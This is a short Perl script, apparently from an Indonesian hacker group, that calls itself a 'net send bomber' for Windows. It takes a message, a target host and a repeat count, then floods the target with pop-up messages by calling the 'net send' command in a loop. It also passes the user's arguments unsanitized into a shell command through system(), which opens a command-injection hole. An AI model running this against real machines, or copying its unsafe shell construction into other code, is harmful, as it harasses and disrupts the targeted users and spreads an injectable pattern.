#!/usr/bin/perl -w

    printf"\n  *****************************************************************************\n";
      print "  *                                                                           *\n";
      print "  *                        Netsendbomberz buat windows                        *\n";
      print "  *                   based on net_send_ips:rootsecure.net                    *\n";
      print "  *  created && tested by y3dips on XP Operating Sys, y3dips [at]echo.or.id   *\n";
      print "  *            greetz to echostaff a.k.a the_day, moby, comex                 *\n";
      print "  *              echo-memberz, newbie_hacker, puji_tiwili*                    *\n";
      print "  *                                                                           *\n";
      printf"  *****************************************************************************\n\n";
 
if(@ARGV == 3)
    {
      
      $pesan = $ARGV[0];
      $ip    = $ARGV[1];
      $jumlah= $ARGV[2];


for ($awal=0; $awal<$jumlah; $awal++) {
        $mengirimke = "$ip";
        &kirim;
    }


sub kirim 
{ system("net send $mengirimke = $pesan");}
    }

else{
      print "   [Gunakan] .. perl $0 [tulis_pesan][host][jumlahx]  \n";
}